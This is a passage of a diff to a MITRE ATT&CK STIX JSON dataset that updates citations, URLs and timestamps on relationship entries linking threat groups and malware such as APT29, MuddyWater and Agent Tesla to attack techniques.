INOCNATION)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], @@ -92838,7 +94324,7 @@ "relationship_type": "uses", "target_ref": "attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab", "type": "relationship", - "modified": "2020-03-17T01:30:41.554Z", + "modified": "2021-02-09T14:57:16.183Z", "created": "2017-12-14T16:46:06.044Z" }, { @@ -93267,27 +94753,27 @@ { "id": "relationship--0741e02b-edaa-43a4-a96c-d6baf2d29015", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "A [menuPass](https://attack.mitre.org/groups/G0045) macro deletes files after it has decoded and decompressed them.(Citation: Accenture Hogfish April 2018)(Citation: DOJ APT10 Dec 2018)", + "description": "A [menuPass](https://attack.mitre.org/groups/G0045) macro deletes files after it has decoded and decompressed them.(Citation: Accenture Hogfish April 2018)(Citation: District Court of NY APT10 Indictment December 2018)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "external_references": [ { - "url": "https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf", + "source_name": "Accenture Hogfish April 2018", "description": "Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.", - "source_name": "Accenture Hogfish April 2018" + "url": "https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf" }, { - "source_name": "DOJ APT10 Dec 2018", - "url": "https://www.justice.gov/opa/press-release/file/1121706/download", - "description": "United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019." + "source_name": "District Court of NY APT10 Indictment December 2018", + "url": "https://www.justice.gov/opa/page/file/1122671/download", + "description": "US District Court Southern District of New York. (2018, December 17). United States v. Zhu Hua Indictment. Retrieved December 17, 2020." } ], "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", "relationship_type": "uses", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "type": "relationship", - "modified": "2019-09-03T18:50:16.519Z", + "modified": "2020-12-17T20:15:30.828Z", "created": "2018-10-17T00:14:20.652Z" }, { @@ -94835,16 +96321,16 @@ "source_name": "Villeneuve et al 2014" }, { - "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", + "source_name": "NCC Group APT15 Alive and Strong", "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", - "source_name": "NCC Group APT15 Alive and Strong" + "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" } ], "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", "relationship_type": "uses", "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", "type": "relationship", - "modified": "2019-04-22T15:08:48.500Z", + "modified": "2021-03-29T19:54:46.167Z", "created": "2017-05-31T21:33:27.033Z" }, { @@ -95093,7 +96579,7 @@ "relationship_type": "mitigates", "target_ref": "attack-pattern--451a9977-d255-43c9-b431-66de80130c8c", "type": "relationship", - "modified": "2020-10-21T15:30:45.135Z", + "modified": "2021-02-17T14:23:49.708Z", "created": "2018-04-18T17:59:24.739Z" }, { @@ -95590,15 +97076,20 @@ "source_name": "Bitdefender Agent Tesla April 2020", "url": "https://labs.bitdefender.com/2020/04/oil-gas-spearphishing-campaigns-drop-agent-tesla-spyware-in-advance-of-historic-opec-deal/", "description": "Arsene, L. (2020, April 21). Oil & Gas Spearphishing Campaigns Drop Agent Tesla Spyware in Advance of Historic OPEC+ Deal. Retrieved May 19, 2020." + }, + { + "source_name": "SentinelLabs Agent Tesla Aug 2020", + "url": "https://labs.sentinelone.com/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/", + "description": "Walter, J. (2020, August 10). Agent Tesla | Old RAT Uses New Tricks to Stay on Top. Retrieved December 11, 2020." } ], - "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) can log keystrokes on the victim\u2019s machine.(Citation: Talos Agent Tesla Oct 2018)(Citation: DigiTrust Agent Tesla Jan 2017)(Citation: Fortinet Agent Tesla June 2017)(Citation: Bitdefender Agent Tesla April 2020)", + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) can log keystrokes on the victim\u2019s machine.(Citation: Talos Agent Tesla Oct 2018)(Citation: DigiTrust Agent Tesla Jan 2017)(Citation: Fortinet Agent Tesla June 2017)(Citation: Bitdefender Agent Tesla April 2020)(Citation: SentinelLabs Agent Tesla Aug 2020)", "id": "relationship--891217a4-3822-4345-b77f-448f41fd9361", "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", "relationship_type": "uses", "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "type": "relationship", - "modified": "2020-05-20T13:38:07.005Z", + "modified": "2020-12-11T22:07:41.427Z", "created": "2019-01-29T18:44:05.133Z" }, { @@ -95640,7 +97131,7 @@ "relationship_type": "uses", "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", "type": "relationship", - "modified": "2019-04-12T14:43:22.620Z", + "modified": "2021-04-25T15:45:04.900Z", "created": "2019-01-29T19:36:02.749Z" }, { @@ -95786,18 +97277,28 @@ ], "external_references": [ { - "source_name": "FireEye APT29 Nov 2018", + "source_name": "Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks", + "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/", + "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 30, 2020." + }, + { + "source_name": "Microsoft Deep Dive Solorigate January 2021", + "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021." + }, + { + "description": "Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.", "url": "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html", - "description": "Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018." + "source_name": "FireEye APT29 Nov 2018" } ], - "description": "[APT29](https://attack.mitre.org/groups/G0016) has used rundll32.exe for execution.(Citation: FireEye APT29 Nov 2018)", + "description": "[APT29](https://attack.mitre.org/groups/G0016) has used Rundll32.exe to execute payloads.(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks)(Citation: Microsoft Deep Dive Solorigate January 2021)(Citation: FireEye APT29 Nov 2018)", "id": "relationship--bbd100ee-cc67-43f3-bc56-d02ee50e689d", "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", "relationship_type": "uses", "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", "type": "relationship", - "modified": "2019-07-25T14:25:53.298Z", + "modified": "2021-04-16T20:29:18.699Z", "created": "2019-01-30T14:19:17.694Z" }, { @@ -96201,32 +97702,6 @@ "modified": "2020-03-20T01:55:35.148Z", "created": "2018-10-17T00:14:20.652Z" }, - { - "id": "relationship--d26a9de1-0ec7-41dd-94fe-21a51bedf37f", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can use [PsExec](https://attack.mitre.org/software/S0029) to execute a payload on a remote host. It can also use Service Control Manager to start new services.(Citation: cobaltstrike manual)(Citation: Cobalt Strike TTPs Dec 2017)", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "url": "https://cobaltstrike.com/downloads/csmanual38.pdf", - "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", - "source_name": "cobaltstrike manual" - }, - { - "url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf", - "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.", - "source_name": "Cobalt Strike TTPs Dec 2017" - } - ], - "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", - "relationship_type": "uses", - "target_ref": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4", - "type": "relationship", - "modified": "2019-06-06T19:04:39.469Z", - "created": "2017-12-14T16:46:06.044Z" - }, { "id": "relationship--7cf7d162-a34f-4951-a643-5bf959283f6b", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -96564,7 +98039,7 @@ "relationship_type": "uses", "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", "type": "relationship", - "modified": "2019-04-12T14:43:22.631Z", + "modified": "2021-04-25T15:45:04.886Z", "created": "2019-01-29T19:36:02.679Z" }, { @@ -96849,16 +98324,16 @@ ], "external_references": [ { - "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", + "source_name": "NCC Group APT15 Alive and Strong", "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", - "source_name": "NCC Group APT15 Alive and Strong" + "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" } ], "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", "relationship_type": "uses", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "type": "relationship", - "modified": "2019-04-22T15:08:48.502Z", + "modified": "2021-03-29T19:54:46.285Z", "created": "2018-10-17T00:14:20.652Z" }, { @@ -97264,40 +98739,15 @@ "description": "Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.", "url": "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group", "source_name": "Symantec MuddyWater Dec 2018" - }, - { - "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html", - "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", - "source_name": "FireEye MuddyWater Mar 2018" - }, - { - "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/another-potential-muddywater-campaign-uses-powershell-based-prb-backdoor/", - "description": "Villanueva, M., Co, M. (2018, June 14). Another Potential MuddyWater Campaign uses Powershell-based PRB-Backdoor. Retrieved July 3, 2018.", - "source_name": "MuddyWater TrendMicro June 2018" - }, - { - "source_name": "Securelist MuddyWater Oct 2018", - "url": "https://securelist.com/muddywater/88059/", - "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018." - }, - { - "description": "Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.", - "url": "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group", - "source_name": "Symantec MuddyWater Dec 2018" - }, - { - "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.", - "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf", - "source_name": "ClearSky MuddyWater Nov 2018" } ], - "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used a custom tool for creating reverse shells.(Citation: Symantec MuddyWater Dec 2018) [MuddyWater](https://attack.mitre.org/groups/G0069) has used JavaScript files to execute its [POWERSTATS](https://attack.mitre.org/software/S0223) payload.(Citation: FireEye MuddyWater Mar 2018)(Citation: MuddyWater TrendMicro June 2018)(Citation: Securelist MuddyWater Oct 2018)(Citation: Symantec MuddyWater Dec 2018)(Citation: ClearSky MuddyWater Nov 2018)", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used a custom tool for creating reverse shells.(Citation: Symantec MuddyWater Dec 2018)", "id": "relationship--3ab6b7bc-bb49-4fcd-83fc-abbec5912d41", "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", "relationship_type": "uses", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "type": "relationship", - "modified": "2020-05-29T01:24:37.175Z", + "modified": "2021-04-26T22:30:06.390Z", "created": "2019-01-30T17:33:40.960Z" }, { @@ -97417,18 +98867,23 @@ ], "external_references": [ { - "source_name": "TrendMicro MacOS April 2018", + "description": "Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018.", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/", - "description": "Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018." + "source_name": "TrendMicro MacOS April 2018" + }, + { + "source_name": "Trend Micro MacOS Backdoor November 2020", + "url": "https://www.trendmicro.com/en_us/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html", + "description": "Magisa, L. (2020, November 27). New MacOS Backdoor Connected to OceanLotus Surfaces. Retrieved December 2, 2020." } ], - "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) has a command to delete a file from the system.(Citation: TrendMicro MacOS April 2018)", + "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) has a command to delete a file from the system.(Citation: TrendMicro MacOS April 2018)(Citation: Trend Micro MacOS Backdoor November 2020)", "id": "relationship--207c59d5-9df0-4838-9a0a-5555ea78b35f", "source_ref": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29", "relationship_type": "uses", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "type": "relationship", - "modified": "2019-09-26T16:22:41.968Z", + "modified": "2020-12-02T14:30:55.640Z", "created": "2019-01-30T19:18:20.125Z" }, { @@ -97583,27 +99038,6 @@ "modified": "2019-04-18T20:19:49.284Z", "created": "2019-01-31T02:01:45.725Z" }, - { - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "source_name": "ESET Carbon Mar 2017", - "url": "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/", - "description": "ESET. (2017, March 30). Carbon Paper: Peering into Turla\u2019s second stage backdoor. Retrieved November 7, 2018." - } - ], - "description": "[Turla](https://attack.mitre.org/groups/G0010) has used spearphishing emails to deliver [BrainTest](https://attack.mitre.org/software/S0293) as a malicious attachment.(Citation: ESET Carbon Mar 2017)", - "id": "relationship--d76bebf2-6c58-4a99-a844-e194292d558b", - "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", - "relationship_type": "uses", - "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", - "type": "relationship", - "modified": "2019-07-14T21:04:44.973Z", - "created": "2019-01-29T19:39:38.120Z" - }, { "id": "relationship--695c2f41-140a-48f9-9e14-0cd58d7712d1", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -97833,13 +99267,13 @@ }, { "source_name": "DOJ APT10 Dec 2018", - "url": "https://www.justice.gov/opa/press-release/file/1121706/download", + "url": "https://www.justice.gov/opa/pr/two-chinese-hackers-associated-ministry-state-security-charged-global-computer-intrusion", "description": "United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019." } ], "description": "(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: FireEye APT10 April 2017)(Citation: DOJ APT10 Dec 2018)", "type": "relationship", - "modified": "2019-09-03T18:50:16.902Z", + "modified": "2020-12-17T15:58:17.124Z", "created": "2017-05-31T21:33:27.079Z" }, { @@ -98480,7 +99914,7 @@ }, { "source_name": "NCCGroup RokRat Nov 2018", - "url": "https://www.nccgroup.com/uk/about-us/newsroom-and-events/blogs/2018/november/rokrat-analysis/", + "url": "https://research.nccgroup.com/2018/11/08/rokrat-analysis/", "description": "Pantazopoulos, N.. (2018, November 8). RokRat Analysis. Retrieved May 21, 2020." } ], @@ -98488,7 +99922,7 @@ "relationship_type": "uses", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "type": "relationship", - "modified": "2020-05-21T17:07:02.767Z", + "modified": "2021-03-29T19:50:54.288Z", "created": "2018-10-17T00:14:20.652Z" }, { @@ -99971,13 +101405,13 @@ "source_name": "Securelist Darkhotel Aug 2015" } ], - "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has searched for anti-malware strings and anti-virus processes running on the system.(Citation: Securelist Darkhotel Aug 2015)", + "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) malware can collect a list of running processes on a system.(Citation: Securelist Darkhotel Aug 2015)", "id": "relationship--48649215-087c-4ded-925c-f2c3f57dcba1", "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", "relationship_type": "uses", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "type": "relationship", - "modified": "2020-03-16T20:05:43.531Z", + "modified": "2021-04-22T14:35:25.549Z", "created": "2019-01-30T17:43:28.210Z" }, { @@ -100071,18 +101505,23 @@ ], "external_references": [ { - "source_name": "TrendMicro MacOS April 2018", + "description": "Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018.", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/", - "description": "Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018." + "source_name": "TrendMicro MacOS April 2018" + }, + { + "source_name": "Trend Micro MacOS Backdoor November 2020", + "url": "https://www.trendmicro.com/en_us/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html", + "description": "Magisa, L. (2020, November 27). New MacOS Backdoor Connected to OceanLotus Surfaces. Retrieved December 2, 2020." } ], - "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) has a command to download and execute a file on the victim\u2019s machine.(Citation: TrendMicro MacOS April 2018)", + "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) has a command to download and execute a file on the victim\u2019s machine.(Citation: TrendMicro MacOS April 2018)(Citation: Trend Micro MacOS Backdoor November 2020)", "id": "relationship--5cb54f4b-f615-44ad-94d6-136ff507c2d6", "source_ref": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29", "relationship_type": "uses", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "type": "relationship", - "modified": "2019-09-26T16:22:41.976Z", + "modified": "2020-12-02T14:59:19.051Z", "created": "2019-01-30T19:18:20.132Z" }, { @@ -100298,11 +101737,16 @@ "source_name": "FireEye APT35 2018", "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.", "url": "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf" + }, + { + "url": "https://www.secureworks.com/blog/iranian-pupyrat-bites-middle-eastern-organizations", + "description": "Counter Threat Unit Research Team. (2017, February 15). Iranian PupyRAT Bites Middle Eastern Organizations. Retrieved December 27, 2017.", + "source_name": "Secureworks Cobalt Gypsy Feb 2017" } ], - "description": "(Citation: Unit 42 Magic Hound Feb 2017)(Citation: FireEye APT35 2018)", + "description": "(Citation: Unit 42 Magic Hound Feb 2017)(Citation: FireEye APT35 2018)(Citation: Secureworks Cobalt Gypsy Feb 2017)", "type": "relationship", - "modified": "2020-05-27T21:46:31.627Z", + "modified": "2021-04-23T14:51:04.305Z", "created": "2018-04-18T17:59:24.739Z" }, { @@ -100486,7 +101930,7 @@ ], "external_references": [ { - "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/emissary-panda-a-potential-new-malicious-tool/", + "url": "https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/", "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.", "source_name": "Nccgroup Emissary Panda May 2018" } @@ -100495,7 +101939,7 @@ "relationship_type": "uses", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "type": "relationship", - "modified": "2019-07-14T21:15:55.361Z", + "modified": "2021-03-29T19:43:26.845Z", "created": "2018-10-17T00:14:20.652Z" }, { @@ -100550,15 +101994,20 @@ "description": "ESET. (2017, March 30). Carbon Paper: Peering into Turla\u2019s second stage backdoor. Retrieved November 7, 2018.", "url": "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/", "source_name": "ESET Carbon Mar 2017" + }, + { + "source_name": "Accenture HyperStack October 2020", + "url": "https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity", + "description": "Accenture. (2020, October). Turla uses HyperStack, Carbon, and Kazuar to compromise government entity. Retrieved December 2, 2020." } ], - "description": "[Carbon](https://attack.mitre.org/software/S0335) encrypts configuration files and tasks for the malware to complete using CAST-128 algorithm.(Citation: ESET Carbon Mar 2017)", + "description": "[Carbon](https://attack.mitre.org/software/S0335) encrypts configuration files and tasks for the malware to complete using CAST-128 algorithm.(Citation: ESET Carbon Mar 2017)(Citation: Accenture HyperStack October 2020)", "id": "relationship--aac99c91-e1b1-42c0-8a13-f166027d5168", "source_ref": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f", "relationship_type": "uses", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "type": "relationship", - "modified": "2019-04-12T14:43:22.644Z", + "modified": "2020-12-03T21:03:56.293Z", "created": "2019-01-29T19:36:02.820Z" }, { @@ -100781,14 +102230,19 @@ "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", "external_references": [ { - "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf", + "source_name": "F-Secure The Dukes", "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", - "source_name": "F-Secure The Dukes" + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + }, + { + "source_name": "Microsoft 365 Defender Solorigate", + "url": "https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/", + "description": "Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021." } ], - "description": "(Citation: F-Secure The Dukes)", + "description": "(Citation: F-Secure The Dukes)(Citation: Microsoft 365 Defender Solorigate)", "type": "relationship", - "modified": "2019-07-25T14:25:53.644Z", + "modified": "2021-04-16T19:04:13.730Z", "created": "2017-05-31T21:33:27.050Z" }, { @@ -100960,7 +102414,7 @@ "relationship_type": "mitigates", "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", "type": "relationship", - "modified": "2020-03-11T14:55:31.302Z", + "modified": "2021-04-20T16:34:09.489Z", "created": "2018-04-18T17:59:24.739Z" }, { @@ -101133,7 +102587,7 @@ "external_references": [ { "description": "Pantazopoulos, N. (2018, April 17). Decoding network data from a Gh0st RAT variant. Retrieved November 2, 2018.", - "url": "https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2018/april/decoding-network-data-from-a-gh0st-rat-variant/", + "url": "https://research.nccgroup.com/2018/04/17/decoding-network-data-from-a-gh0st-rat-variant/", "source_name": "Nccgroup Gh0st April 2018" } ], @@ -101143,7 +102597,7 @@ "relationship_type": "uses", "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "type": "relationship", - "modified": "2020-03-20T23:53:32.368Z", + "modified": "2021-03-29T19:49:11.282Z", "created": "2019-01-29T14:51:06.828Z" }, { @@ -101232,7 +102686,7 @@ "relationship_type": "uses", "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", "type": "relationship", - "modified": "2019-04-12T14:43:22.647Z", + "modified": "2021-04-25T15:45:04.893Z", "created": "2019-01-29T19:36:02.711Z" }, { @@ -101721,15 +103175,20 @@ "source_name": "Reaqta MuddyWater November 2017", "url": "https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/", "description": "Reaqta. (2017, November 22). A dive into MuddyWater APT targeting Middle-East. Retrieved May 18, 2020." + }, + { + "source_name": "Trend Micro Muddy Water March 2021", + "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html", + "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021." } ], - "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used malware that can upload additional files to the victim\u2019s machine.(Citation: Securelist MuddyWater Oct 2018)(Citation: ClearSky MuddyWater Nov 2018)(Citation: Reaqta MuddyWater November 2017)", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used malware that can upload additional files to the victim\u2019s machine.(Citation: Securelist MuddyWater Oct 2018)(Citation: ClearSky MuddyWater Nov 2018)(Citation: Reaqta MuddyWater November 2017)(Citation: Trend Micro Muddy Water March 2021)", "id": "relationship--82d8c106-c216-4d3f-9028-5f0b975e6330", "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", "relationship_type": "uses", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "type": "relationship", - "modified": "2020-05-29T01:24:37.227Z", + "modified": "2021-03-19T13:41:28.352Z", "created": "2019-01-30T17:33:40.964Z" }, { @@ -102145,15 +103604,20 @@ "source_name": "Reaqta MuddyWater November 2017", "url": "https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/", "description": "Reaqta. (2017, November 22). A dive into MuddyWater APT targeting Middle-East. Retrieved May 18, 2020." + }, + { + "source_name": "Trend Micro Muddy Water March 2021", + "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html", + "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021." } ], - "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has controlled [POWERSTATS](https://attack.mitre.org/software/S0223) from behind a proxy network to obfuscate the C2 location.(Citation: Symantec MuddyWater Dec 2018) [MuddyWater](https://attack.mitre.org/groups/G0069) has used a series of compromised websites that victims connected to randomly to relay information to command and control (C2).(Citation: Reaqta MuddyWater November 2017)", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has controlled [POWERSTATS](https://attack.mitre.org/software/S0223) from behind a proxy network to obfuscate the C2 location.(Citation: Symantec MuddyWater Dec 2018) [MuddyWater](https://attack.mitre.org/groups/G0069) has used a series of compromised websites that victims connected to randomly to relay information to command and control (C2).(Citation: Reaqta MuddyWater November 2017)(Citation: Trend Micro Muddy Water March 2021)", "id": "relationship--cc78f0a1-7f4f-491e-a636-910f09d0c5a1", "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", "relationship_type": "uses", "target_ref": "attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3", "type": "relationship", - "modified": "2020-05-18T19:04:38.153Z", + "modified": "2021-04-25T23:26:10.871Z", "created": "2019-01-30T17:33:40.928Z" }, { @@ -102166,15 +103630,20 @@ "description": "Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.", "url": "https://securelist.com/darkhotels-attacks-in-2015/71713/", "source_name": "Securelist Darkhotel Aug 2015" + }, + { + "source_name": "Microsoft DUBNIUM July 2016", + "url": "https://www.microsoft.com/security/blog/2016/07/14/reverse-engineering-dubnium-stage-2-payload-analysis/", + "description": "Microsoft. (2016, July 14). Reverse engineering DUBNIUM \u2013 Stage 2 payload analysis . Retrieved March 31, 2021." } ], - "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has sent spearphishing emails with malicious RAR attachments.(Citation: Securelist Darkhotel Aug 2015)", + "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has sent spearphishing emails with malicious RAR and .LNK attachments.(Citation: Securelist Darkhotel Aug 2015)(Citation: Microsoft DUBNIUM July 2016)", "id": "relationship--3cce0cb1-051f-48da-8712-e9d2eba871a0", "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", "relationship_type": "uses", "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", "type": "relationship", - "modified": "2020-03-16T20:05:43.547Z", + "modified": "2021-04-22T14:35:25.550Z", "created": "2019-01-30T17:43:28.298Z" }, { @@ -102616,27 +104085,6 @@ "modified": 